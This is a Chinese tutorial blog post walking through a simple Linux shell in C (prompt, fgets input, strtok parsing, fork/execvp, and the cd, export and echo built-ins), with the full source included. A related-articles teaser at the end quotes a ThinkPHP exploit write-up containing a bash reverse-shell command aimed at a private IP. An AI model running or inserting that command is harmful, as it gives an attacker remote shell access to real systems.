【Linux学习】实现一个简单版的Shell

news2024/11/13 23:46:06
🍑个人主页:Jupiter.
🚀 所属专栏:Linux从入门到进阶
欢迎大家点赞收藏评论😊

在这里插入图片描述

目录

  • 📕`前言`
  • 🍑`shell`
      • 📚`Shell的工作原理`
      • `🔒Shell的高级功能`
  • `🚀shell的代码实现`
      • `🎈实现一:打印命令行提示符,获取用户输入的命令字符串`
      • `🛸实现二:对命令行字符串进行切割`
      • `🌙实现三:执行指令`
      • ` 🏀实现四:处理内建命令`
  • `⭐总代码实现`


📕前言

本篇文章主要讲解一个简单版的shell的实现,看完这篇文章,你可以对shell的运行原理,Linux进程相关知识等有一个更深入的认识和理解,适合刚入门Linux的初学者学习。
自定义shell根据下面所述的原理一共分为四个部分实现。(分别为就命令行的输入解析执行内建指令的执行)还包括了对一些细节的处理…

🍑shell

Shell是Unix/Linux系统中的一个特殊程序,是用户与操作系统内核交互的接口。用户通过Shell操作系统输入命令,Shell负责将这些命令解析并传递给内核执行,然后将执行结果返回给用户。Shell既是一种命令解释器,也是一种功能强大的编程语言。

📚Shell的工作原理

可以概括为以下几个步骤:

  • 命令行输入:用户在命令行界面输入命令。
  • 命令解析:Shell接收用户的输入,并对命令进行解析。这个过程包括解析命令名、参数、选项等,将其转换成计算机可以理解的形式。
  • 命令执行:解析完成后,Shell会执行相应的命令。这通常涉及到调用系统调用或者启动新的进程来执行命令。
  • 结果输出:命令执行完成后,Shell将结果输出到命令行界面,供用户查看。

在整个过程中,Shell还会维护一些上下文信息,例如当前的工作目录、环境变量等,这些信息会影响命令的执行结果。

🔒Shell的高级功能

  • 命令补全:用户输入命令时,Shell会自动补全命令名或参数,提高输入效率。
  • 历史命令查看:用户可以通过特定的命令或快捷键查看之前输入的历史命令,方便重复执行或编辑。
  • 管道和重定向:支持管道(|)重定向(>、<)功能,可以将一个命令的输出作为另一个命令的输入,或将命令的输出保存到文件中。
  • 别名和函数:用户可以定义命令的别名或函数,以简化命令的输入或实现复杂的操作。

🚀shell的代码实现

🎈实现一:打印命令行提示符,获取用户输入的命令字符串

在这里插入图片描述
如上图所示,我们可以发现:命令提示符是一个长字符串,其中包括了用户名,主机名,以及当前的工作目录

根据前面的文章的学习,我们可以利用环境变量来获取这三个信息。
自己可以利用env指令查看,这里就不赘述了。
用户名:USER
主机名:HOSTNAME
当前工作目录:PWD

打印命令行提示符的代码实现:

const char* HostName()
{
    char *hostname = getenv("HOSTNAME");
    if(hostname) return hostname;
    else return "None";
}

const char* UserName()
{
    char *hostname = getenv("USER");
    if(hostname) return hostname;
    else return "None";
}

const char *CurrentWorkDir()
{
    char *hostname = getenv("PWD");
    if(hostname) return hostname;
    else return "None";
}

printf("[%s@%s %s]$ ", UserName(), HostName(), CurrentWorkDir());

获取用户输入指令

这里需要获取的是用户输入的指令,指令一般都是一个字符串,但是值得注意的是:这里不能使用scanf函数,原因是scanf遇到空格就会停止获取,但是我们输入的指令常常含有空格(例如ls -a -l)。

可以使用其他的函数,比如c++中的getline,C中的fgets函数等等。这里选取的是fgets函数,简单介绍一下:
在这里插入图片描述
参数解释:参数一是获取的内容存放的地方,参数二是大小,参数三是在哪里获取(这里我们是在键盘中获取,所以填写stdin即可);
注意:当我们输入的时候,回车也会被fgets获取,所以要考虑是否需要处理;

代码实现

char commandline[SIZE];   //存放命令
fgets(commandline, SIZE, stdin);
commandline[strlen(commandline)-1] = '\0'; // commandline是空串的情况?

该部分整体封装后的代码:

int Interactive(char out[], int size)   //返回值是为了处理后面的情况
{
    // 输出提示符并获取用户输入的命令字符串"ls -a -l"
    printf("[%s@%s %s]$ ", UserName(), HostName(), CurrentWorkDir());
    fgets(out, size, stdin);
    out[strlen(out)-1] = 0; // commandline是空串的情况?
    
    return strlen(out);   //返回命令字符串的长度
}

🛸实现二:对命令行字符串进行切割

根据上一篇文章对进程替换相关的接口进行的讲解,这里我们切割后放在一个char* 的数组中,方便只用接口;

这个介绍strtok函数,可以将一个字符串以指定的分隔符进行切割开,下面进行简单介绍。
在这里插入图片描述
参数介绍:参数一是需要切割的字符串,参数二是什么作为分隔符。
注意:

  • 只需要第一次调用的时候将第一个参数设置为该字符串,后面只需要设置为NULL即可。
  • 当剩余字符串不能够再分隔的时候,会返回一个NULL;

字符串分割的代码实现

//将指令字符串切割后放到argv数组中
void Split(char in[])
{
    int i = 0;
    argv[i++] = strtok(in, SEP); // "ls -a -l"
    while(argv[i++] = strtok(NULL, SEP)); //细节一:当字符串不能再切割的时候,返回NULL给argv后,再回来判断,不满足,直接退出循环
    //并且根据上面一篇文章可知,argv数组必须以NULL结尾
    if(strcmp(argv[0], "ls") ==0)     //如果为指令ls,则特殊处理,目的是给显示添加高光
    {
        argv[i-1] = (char*)"--color";
        argv[i] = NULL;
    }
}

🌙实现三:执行指令

执行这些指令,不能使用主进程去执行,因为如果只用主进程去执行,如果遇到错误就崩溃了。但是为我们可以发现shell是一直运行的,出错并没有崩溃,这是因为bash进程是主进程,用户的指令大多都是利用子进程去执行的。

这里使用的是execvp接口,不会的看可以去上一篇文章看看。

void Execute()
{
    pid_t id = fork();
    if(id == 0)
    {
        // 让子进程执行命名
        execvp(argv[0], argv);
        exit(1);
    }
    int status = 0;
    pid_t rid = waitpid(id, &status, 0);
    if(rid == id) lastcode = WEXITSTATUS(status); 
}

🏀实现四:处理内建命令

上面的执行指令,我们可以发现对于一些内建指令子程序执行不了。所以在字符串切割结束后,需要先判断是否为cd,echo,export…内建指令

举例实现上面三个内建指令。

cd指令

常见cd指令 :

  • cd (切换到家目录)
  • cd 路径(切换到对应路径,...本质上也是一个路径)

可以使用getenv函数获取家目录。对应的环境变量为HOME
对应的工作目录改变了应该需要更新环境变量,这样当再次打印命令提示符的时候能够显示正确的当前工作目录。
这里使用到一个很好用的函数,snprintf,简单介绍:
在这里插入图片描述
可以用来拼接字符串,个人认为非常好用。
大概的用法就是,将传入的可变参数的内容,按照指定的格式,放到指定大小的str中,用法如下例子。

char *Home()
{
    return getenv("HOME");
}
if(strcmp("cd", argv[0]) == 0)
{
    // 2. 执行
    char *target = argv[1]; //cd XXX or cd
    if(!target) //如果为空,则指令为cd ,切换到家目录
    	target = Home();
    chdir(target);
    char temp[1024];
    getcwd(temp, 1024);
    snprintf(pwd, SIZE, "PWD=%s", temp);//将PWD=加上temp按照%s的格式,拼接后放到pwd中
    putenv(pwd);    //导入环境变量
}   
        

export指令

这个很简单,一看就会,不赘述了。

else if(strcmp("export", argv[0]) == 0)
    {
        ret = 1;
        if(argv[1])
        {
            strcpy(env, argv[1]);
            putenv(env);
        }
    }

echo指令

这个则指令常见的四种用法:

  • echo xxxxx (向显示屏打印xxxx)
  • echo $?才看最近的退出码
  • echo $yyy(查找环境变量yyy对应的内容)
  • echo (换行)

代码实现:

else if(strcmp("echo", argv[0]) == 0)
{
      ret = 1;
      if(argv[1] == NULL) 
      {
            printf("\n");
      }
      else{
           if(argv[1][0] == '$')
           {
                if(argv[1][1] == '?')
                {
                    printf("%d\n", lastcode);    //这里都lastcode是一个全局的变量
                    lastcode = 0;       //打印后赋值为0
                }
                else
                {
                    char *e = getenv(argv[1]+1);
                    if(e) printf("%s\n", e);
                }
            }
            else
            {
                printf("%s\n", argv[1]);
            }
        }
    }

最后,将各部分封装好的代码进行合并,注意:这里shell应该时一直是一直运行的,并不是运行了执行了一个指令后就退出,所以整体上,应该是一个循环的效果。

main函数的代码实现

int main()
{
    while(1)
    {
        char commandline[SIZE];
        // 1. 打印命令行提示符,获取用户输入的命令字符串
        int n = Interactive(commandline, SIZE);
        if(n == 0) continue;   //如果指令为空,则不用执行
        // 2. 对命令行字符串进行切割
        Split(commandline);
        // 3. 处理内建命令
        n = BuildinCmd();
        if(n) continue;  //是内建指令,则子程序不用执行
        // 4. 执行这个命令
        Execute();    //不是内建指令,子程序执行
    }

    return 0;
}

⭐总代码实现

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>

#define SIZE 1024
#define MAX_ARGC 64
#define SEP " "
    
char *argv[MAX_ARGC];
char pwd[SIZE];
char env[SIZE]; // for test
int lastcode = 0;

const char* HostName()
{
    char *hostname = getenv("HOSTNAME");
    if(hostname) return hostname;
    else return "None";
}

const char* UserName()
{
    char *hostname = getenv("USER");
    if(hostname) return hostname;
    else return "None";
}

const char *CurrentWorkDir()
{
    char *hostname = getenv("PWD");
    if(hostname) return hostname;
    else return "None";
}

char *Home()
{
    return getenv("HOME");
}

int Interactive(char out[], int size)
{
    // 输出提示符并获取用户输入的命令字符串"ls -a -l"
    printf("[%s@%s %s]$ ", UserName(), HostName(), CurrentWorkDir());
    fgets(out, size, stdin);
    out[strlen(out)-1] = 0; //'\0', commandline是空串的情况?
    return strlen(out);
}

void Split(char in[])
{
    int i = 0;
    argv[i++] = strtok(in, SEP); // "ls -a -l"
    while(argv[i++] = strtok(NULL, SEP)); // 故意将== 写成 =
    if(strcmp(argv[0], "ls") ==0)
    {
        argv[i-1] = (char*)"--color";
        argv[i] = NULL;
    }
}

void Execute()
{
    pid_t id = fork();
    if(id == 0)
    {
        // 让子进程执行命名
        execvp(argv[0], argv);
        exit(1);
    }
    int status = 0;
    pid_t rid = waitpid(id, &status, 0);
    if(rid == id) lastcode = WEXITSTATUS(status); 
    //printf("run done, rid: %d\n", rid);
}

int BuildinCmd()
{
    int ret = 0;
    // 1. 检测是否是内建命令, 是 1, 否 0
    if(strcmp("cd", argv[0]) == 0)
    {
        // 2. 执行
        ret = 1;
        char *target = argv[1]; //cd XXX or cd
        if(!target) target = Home();
        chdir(target);
        char temp[1024];
        getcwd(temp, 1024);
        snprintf(pwd, SIZE, "PWD=%s", temp);
        putenv(pwd);
    }
    else if(strcmp("export", argv[0]) == 0)
    {
        ret = 1;
        if(argv[1])
        {
            strcpy(env, argv[1]);
            putenv(env);
        }
    }
    else if(strcmp("echo", argv[0]) == 0)
    {
        ret = 1;
        if(argv[1] == NULL) {
            printf("\n");
        }
        else{
            if(argv[1][0] == '$')
            {
                if(argv[1][1] == '?')
                {
                    printf("%d\n", lastcode);
                    lastcode = 0;
                }
                else{
                    char *e = getenv(argv[1]+1);
                    if(e) printf("%s\n", e);
                }
            }
            else{
                printf("%s\n", argv[1]);
            }
        }
    }
    return ret;
}

int main()
{
    while(1)
    {
        char commandline[SIZE];
        // 1. 打印命令行提示符,获取用户输入的命令字符串
        int n = Interactive(commandline, SIZE);
        if(n == 0) continue;
        // 2. 对命令行字符串进行切割
        Split(commandline);
        // 3. 处理内建命令
        n = BuildinCmd();
        if(n) continue;
        // 4. 执行这个命令
        Execute();
    }
   // for(int i=0; argv[i]; i++)
   // {
   //     printf("argv[%d]: %s\n", i, argv[i]);
   // }
    return 0;
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>

#define SIZE 1024
#define MAX_ARGC 64
#define SEP " "
    
char *argv[MAX_ARGC];
char pwd[SIZE];
char env[SIZE]; // for test
int lastcode = 0;

const char* HostName(){
    char *hostname = getenv("HOSTNAME");
    if(hostname) return hostname;
    else return "None";
}

const char* UserName(){
    char *hostname = getenv("USER");
    if(hostname) return hostname;
    else return "None";
}

const char *CurrentWorkDir(){
    char *hostname = getenv("PWD");
    if(hostname) return hostname;
    else return "None";
}

char *Home(){
    return getenv("HOME");
}

int Interactive(char out[], int size){
    // 输出提示符并获取用户输入的命令字符串"ls -a -l"
    printf("[%s@%s %s]$ ", UserName(), HostName(), CurrentWorkDir());
    fgets(out, size, stdin);
    out[strlen(out)-1] = 0; //'\0', commandline是空串的情况?
    return strlen(out);
}

void Split(char in[]){
    int i = 0;
    argv[i++] = strtok(in, SEP); // "ls -a -l"
    while(argv[i++] = strtok(NULL, SEP)); // 故意将== 写成 =
    if(strcmp(argv[0], "ls") ==0){
        argv[i-1] = (char*)"--color";
        argv[i] = NULL;
    }
}

void Execute(){
    pid_t id = fork();
    if(id == 0){
        // 让子进程执行命名
        execvp(argv[0], argv);
        exit(1);
    }
    int status = 0;
    pid_t rid = waitpid(id, &status, 0);
    if(rid == id) lastcode = WEXITSTATUS(status); 
    //printf("run done, rid: %d\n", rid);
}

int BuildinCmd(){
    int ret = 0;
    // 1. 检测是否是内建命令, 是 1, 否 0
    if(strcmp("cd", argv[0]) == 0){
        // 2. 执行
        ret = 1;
        char *target = argv[1]; //cd XXX or cd
        if(!target) target = Home();
        chdir(target);
        char temp[1024];
        getcwd(temp, 1024);
        snprintf(pwd, SIZE, "PWD=%s", temp);
        putenv(pwd);
    }
    else if(strcmp("export", argv[0]) == 0){
        ret = 1;
        if(argv[1]){
            strcpy(env, argv[1]);
            putenv(env);
        }
    }
    else if(strcmp("echo", argv[0]) == 0) {
        ret = 1;
        if(argv[1] == NULL) {
            printf("\n");
        }
        else{
            if(argv[1][0] == '$'){
                if(argv[1][1] == '?'){
                    printf("%d\n", lastcode);
                    lastcode = 0;
                }
                else{
                    char *e = getenv(argv[1]+1);
                    if(e) printf("%s\n", e);
                }
            }
            else{
                printf("%s\n", argv[1]);
            }
        }
    }
    return ret;
}
int main(){
    while(1){
        char commandline[SIZE];
        // 1. 打印命令行提示符,获取用户输入的命令字符串
        int n = Interactive(commandline, SIZE);
        if(n == 0) continue;
        // 2. 对命令行字符串进行切割
        Split(commandline);
        // 3. 处理内建命令
        n = BuildinCmd();
        if(n) continue;
        // 4. 执行这个命令
        Execute();
    }

    return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1973905.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Mybatis实战:#{} 和 ${}的使用区别和数据库连接池

一.#{} 和 ${} #{} 和 ${} 在MyBatis框架中都是用于SQL语句中参数替换的标记&#xff0c;但它们在使用方式和处理参数值上存在一些显著的区别。 #{}的作用&#xff1a; #{} 是MyBatis中用于预编译SQL语句的参数占位符。它会将参数值放入一个预编译的PreparedStatement中&am…

JavaScript ES6语法详解(下)

前言&#xff1a;哈喽&#xff0c;大家好&#xff0c;我是码喽的自我修养&#xff01;今天给大家分享JavaScript ES6语法详解(下)&#xff01;并提供具体代码帮助大家深入理解&#xff0c;彻底掌握&#xff01;创作不易&#xff0c;如果能帮助到带大家&#xff0c;欢迎收藏关注…

信创企业级即时通讯发展趋势,私有化安全沟通

信创&#xff08;创新型科技公司&#xff09;在当今的商业环境中发挥着重要作用&#xff0c;因此&#xff0c;他们对于私有化安全沟通的需求日益增加。企业级即时通讯软件是为满足企业内部沟通和协作需求而设计的重要工具。在信创企业中&#xff0c;采用私有化安全沟通解决方案…

乐乐音乐Kotlin版

简介 乐乐音乐Kotlin版&#xff0c;主要是基于ExoPlayer框架开发的Android音乐播放器&#xff0c;它支持lrc歌词和动感歌词(ksc歌词、krc歌词、trc歌词、zrce歌词和hrc歌词等)、多种格式歌词转换器及制作动感歌词、翻译歌词和音译歌词。 编译环境 Android Studio Jellyfish | …

计算机毕业设计Python+Tensorflow股票推荐系统 股票预测系统 股票可视化 股票数据分析 量化交易系统 股票爬虫 股票K线图 大数据毕业设计 AI

1、用pycharm打开项目&#xff0c;一定要打开包含manage.py文件所在文件夹 2、配置解释器&#xff1a;建议使用Anaconda(Python 3.8(base))&#xff0c;低于3.8版本的&#xff0c;页面会不兼容 3、安装依赖库&#xff1a;打开pycharm的终端&#xff0c;输入&#xff1a; pip in…

第TR3周:Pytorch复现Transformer

本文为365天深度学习训练营 中的学习记录博客 原作者&#xff1a;K同学啊 任务详情&#xff1a; ●1. 从整体上把握Transformer模型&#xff0c;明白它是个什么东西&#xff0c;可以干嘛 ●2. 读懂Transformer的复现代码&#xff08;暂时不要过于纠结于某一个点&#xff0c;后面…

重生之我们在ES顶端相遇第9 章- 搜索框最常用的功能 - 搜索建议

文章目录 1 前言2 Term Suggester2.1 基本介绍2.2 使用 demo2.3 常用参数2.3.1 suggest_mode2.3.2 max_edits2.3.3 prefix_length2.3.4 min_word_length 3 Completion Suggester3.1 基本描述3.2 基本使用3.3 查询参数3.3.1 size3.3.2 skip_duplicates3.3.3 fuzzy queries(模糊查…

【WPF开发】安装环境、新建工程

一、安装环境 在安装VS时候&#xff0c;勾选安装开发环境 如果已安装VS&#xff0c;可以到工具中查看是否有相应环境 二、新建工程 点击“创建新项目” 通过顶部过滤&#xff0c;C#&#xff0c;选择“WPF应用&#xff08;NET.framework&#xff09;”&#xff0c;并点击“下一…

通过 ACM 论文模版学习 LaTeX 语法 【三、格式】

文章目录 一、LaTeX 简介二、ACM 论文模版三、格式3.1 文章格式3.1.1 注释3.1.2 空格3.1.3 换行 3.2 字体3.2.1 字体样式3.2.2 字体大小2.2.3 字体颜色 一、LaTeX 简介 通过 ACM 论文模版学习 LaTeX 语法 【一、LaTeX简介和安装】 二、ACM 论文模版 通过 ACM 论文模版学习 L…

一款免费开源绿色免安装的透明锁屏工具

一款免费开源绿色免安装的透明锁屏工具 这个工具的特点就是电脑锁屏的时候&#xff0c;仍然显示原桌面&#xff0c;但是无法操作&#xff0c;需要输入密码才可以解锁。输入密码界面也是隐藏的需要按键才能显示输入密码框。 电脑★★★★★透明锁屏工具&#xff1a;https://pa…

canvas-视频绘制

通过Canvas元素来实时绘制一个视频帧&#xff0c;并在视频帧上叠加一个图片的功能可以当作水印。 获取Canvas元素&#xff1a; let canvas document.getElementById(canvas) 通过getElementById函数获取页面中ID为canvas的Canvas元素&#xff0c;并将其存储在变量canvas中。 …

快速将网站从HTTP升级为HTTPS

在当今数字化的世界中&#xff0c;网络安全变的越来越重要&#xff0c;HTTPS&#xff08;超文本传输安全协议&#xff09;不仅能够提供加密的数据传输&#xff0c;还能增强用户信任度&#xff0c;提升搜索引擎排名&#xff0c;为网站带来多重益处。所以将网站从HTTP升级到HTTPS…

达利欧对话施一公:如何应对快速变化的世界?

本篇是对达利欧对话施一公&#xff1a;如何应对快速变化的世界&#xff1f;&#xff5c;凤凰《封面》这一视频的翻译与整理, 过程中为符合中文惯用表达有适当删改, 版权归原作者所有. 达利欧&#xff1a;我很兴奋&#xff0c;施教授和我有很多共同点&#xff0c;即使我们来自不…

DynamicDataSource多数据源的管理,动态新增切换数据源

文章目录 多数据源管理单数据源项目父工程版本与依赖yml配置文件实体类新增与修改时间MapperServiceController主启动类测试类 多数据源初始版yml配置文件配置类创建一个AbstractRoutingDataSourceController层测试 DynamicDataSource版本引入依赖yml配置文件Controller层Servi…

量化(Quantization)技术在实现边缘设备智能化中的关键作用

节选自论文《Edge AI: Quantization as the Key to On-Device Smartness》的第三节&#xff0c;由YN Dwith Chenna撰写&#xff0c;发表在2023年8月的《International Journal of Artificial Intelligence & Applications》上。论文主要探讨了边缘人工智能&#xff08;Edge…

thinkphp之命令执行漏洞复现

实战&#xff1a; fofa搜索thinkphp-- 第一步&#xff1a;先在dns平台上&#xff0c;点击Get SubDomain &#xff0c;监控我们的注入效果 返回dnslog查看到了Java的版本信息 打开kali监听端口 进行base64编码 bash -i >& /dev/tcp/192.168.189.150/8080 0>&1 …

【速解焦虑秘籍】5步助你轻松走出焦虑迷雾,拥抱自在生活!

在这个快节奏、高压力的时代&#xff0c;焦虑仿佛成了许多人难以摆脱的“隐形伴侣”。它悄无声息地侵入我们的生活&#xff0c;影响着我们的情绪、工作乃至人际关系。但别担心&#xff0c;今天就带你揭秘“走出焦虑症最快的方法”&#xff0c;通过以下五个实用步骤&#xff0c;…

地理科学专业| 中国大学排行榜(2024年)

地理科学专业| 中国大学排行榜&#xff08;2024年&#xff09; 原文链接

拓扑未来数据中台解决方案

概述 传统自动化控制往往聚焦于局部或模块&#xff0c;整体运作状态靠人工管理。缺乏从时间维度观察生产周期的手段&#xff0c;由于生产数据缺失&#xff0c;导致生产过程不透明&#xff0c;过程质量无记录&#xff0c;生产工艺难优化&#xff0c;生产效率难以提升。利用先进…